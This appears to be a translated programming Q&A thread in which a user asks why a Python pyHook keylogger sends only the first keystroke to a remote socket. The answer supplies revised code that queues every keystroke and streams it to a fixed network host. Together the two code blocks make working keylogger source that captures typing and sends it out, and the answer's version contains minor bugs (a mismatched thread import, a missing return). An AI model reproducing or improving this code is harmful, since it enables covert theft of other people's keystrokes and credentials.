为了有趣的目的,我正在建立一个键盘记录器。我想要的是键盘记录器将像聊天客户端一样,并将每个击键发送给另一方。但是,当我尝试这样做时,它只发送我按下的第一个键,而不是其后的其他键。
import socket
import pythoncom
import pyHook
HOST = "192.168.2.103"
PORT = 5000
s = socket.socket()
s.connect((HOST, PORT ))
def OnKeyboardEvent(event):
global s
keylog = chr(event.Ascii)
s.send(keylog.encode("utf-8"))
return True
h_m = pyHook.HookManager()
h_m.KeyDown =OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()
答案 0 :(得分:1)
如the tutorial中所述:
如果回调函数未及时返回,则事件将自动沿着钩子回调链转发,如果没有其他回调阻止它,则转发到目标窗口。因此,应该在回调中进行尽可能少的处理。相反,回调应该将事件添加到队列中以供应用程序稍后处理,并快速决定是否阻止该消息。
调用socket.send
可能会阻止。它可以很容易地阻止PyHook中止你的钩子,或者只是为了将来的调用而禁用它。要修复它,请完全按照文档说的做。例如(未经测试,但至少应该是一个足以让你入门的例子):
import queue
import socket
import thread
import pythoncom
import pyHook
q = queue.Queue()
HOST = "192.168.2.103"
PORT = 5000
def background():
s = socket.socket()
s.connect((HOST, PORT))
while True:
msg = q.get()
s.send(msg)
sockthread = threading.Thread(target=background)
sockthread.start()
def OnKeyboardEvent(event):
keylog = chr(event.Ascii)
q.put(keylog.encode("utf-8"))
h_m = pyHook.HookManager()
h_m.KeyDown = OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()